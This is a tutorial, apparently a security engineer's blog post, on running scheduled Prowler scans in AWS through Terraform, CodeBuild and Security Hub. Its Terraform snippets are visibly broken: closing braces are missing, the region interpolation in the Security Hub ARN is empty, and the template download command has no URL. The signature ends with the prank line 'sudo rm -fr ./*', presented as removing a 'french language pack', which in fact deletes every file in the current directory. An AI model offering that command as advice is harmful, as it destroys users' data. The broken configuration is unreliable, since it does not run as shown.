Scheduling Prowler Security scans in AWS

Prowler is a command line tool that helps with AWS security assessments. It has a lot of security checks covering a lot of different areas.

You can run Prowler from your laptop, from EC2, Fargate, CodeBuild, CloudShell, and others.

This tutorial will cover setting up Prowler scans to be run on a weekly basis from CodeBuild and provisioned via Terraform. It sets up AWS Security Hub in your account and runs the initial Prowler scan.

If you want to get straight to the scanning, navigate here



  • Install tfenv and the proper Terraform version:
brew install tfenv 
tfenv use 1.0.6

Creating Insecure Infrastructure

First, let’s create some insecure infrastructure.

Creating Prowler Infrastructure

Let’s create some Terraform files to provision the infrastructure.

resource "aws_cloudformation_stack" "prowler" {
  name = var.service_name
  parameters = {
    ServiceName = var.service_name
    LogsRetentionInDays = var.logs_retention_in_days
    ProwlerOptions = var.prowler_options
    ProwlerScheduler = var.prowler_scheduler
  template_body = file("${path.module}/codebuild-prowler-audit-account-cfn.yaml")
  depends_on = [aws_securityhub_product_subscription.prowler]
  capabilities = ["CAPABILITY_NAMED_IAM"]
data "aws_region" "current" {}

resource "aws_securityhub_account" "main" {}

# --------------------------------------------------------------------------------------------------
# Enable Prowler as partner integration integration
# --------------------------------------------------------------------------------------------------
resource "aws_securityhub_product_subscription" "prowler" {
  product_arn = "arn:aws:securityhub:${}::product/prowler/prowler"
  depends_on = [aws_securityhub_account.main]

# Terraform to run Fargate in CodeBuild:
variable "region" {
  default = "us-east-1"
  description = "The AWS region to deploy to. Deploying in us-east-1 across the entire demo (sorry)."
variable "service_name" {
  default = "prowler"
  description = "Specifies the service name used within component naming"
  type = string

variable "logs_retention_in_days" {
  description = "Specifies the number of days you want to retain CodeBuild run log events in the specified log group. Junit reports are kept for 30 days, HTML reports in S3 are not deleted. Allowed values: [1, 3, 5, 7, 14, 30, 60, 90, 180, 365]"
  #    AllowedValues: [1, 3, 5, 7, 14, 30, 60, 90, 180, 365]
  type = number
  default = 3

variable "prowler_options" {
  type = string
  description = "Options to pass to Prowler command, make sure at least -M junit-xml is used for CodeBuild reports. Use -r for the region to send API queries, -f to filter only one region, -M output formats, -c for comma separated checks, for all checks do not use -c or -g, for more options see -h. For a complete assessment use  '-M text,junit-xml,html,csv,json', for SecurityHub integration use '-r region -f region -M text,junit-xml,html,csv,json,json-asff -S -q'"
  # I changed this to include us-east-1 as the default region
  default = "-r us-east-1 -f us-east-1 -M text,junit-xml,html,csv,json,json-asff -S -q"

variable "prowler_scheduler" {
  type = string
  description = "The time when Prowler will run in cron format. Default is daily at 22:00h or 10PM 'cron(0 22 * * ? *)', for every 5 hours also works 'rate(5 hours)'. More info here"
  default = "cron(0 22 * * ? *)"
terraform {
  required_providers {
    aws = {
      source  = "hashicorp/aws"
      version = "3.63.0"
provider "aws" {
  region = var.region

Lastly, let’s grab the CloudFormation template that we are leveraging for this tutorial. The aws_cloudformation_stack Terraform resource populates the variables in this CloudFormation template and creates the stack, which then creates the underlying infrastructure.

  • Run this command to download the template:
wget -q

Creating Prowler Infrastructure

Now let’s create the Prowler Infrastructure.

export AWS_DEFAULT_REGION=us-east-1
terraform init
terraform plan
terraform apply -auto-approve

Note: If you want to change the AWS region instead of us-east-1, go back to and change the default value to include the desired AWS region, and set the AWS_DEFAULT_REGION environment variable above to a different AWS region.

Viewing the results

Now navigate to CodeBuild Projects. You’ll notice that the CodeBuild project says “In Progress.”

Once it finishes, we can see that it failed:

That is not because the scan failed to complete, but because Prowler found security issues, as you can see from the line below that says, Phase context status code: COMMAND_EXECUTION_ERROR Message: Error while executing command: ./prowler $PROWLER_OPTIONS. Reason: exit status 3.

Now navigate to Security Hub. We can see that there are a lot of findings with many severity levels. But since our hypothetical environment has lots of issues, let’s filter for the critical ones first. In the search bar, type “Severity label is CRITICAL”, as shown below.

You will see that the resulting table shows only critical findings only.

If we want to get the full HTML and CSV reports, we can get those from S3:


terraform destroy -auto-approve

Future enhancements

Here is some food for thought about additional enhancements you might want to make.

  • Set up a weekly security hub email. Blog post from AWS on this topic. There is also sample code here
  • Create alerts for whenever there is a new critical finding
  • Create alerts for whenever there is a new high finding
  • Create QuickSight dashboard for overall findings
Kinnaird McQuade
Kinnaird McQuade
Staff Security Engineer

Always remove the french language pack: sudo rm -fr ./*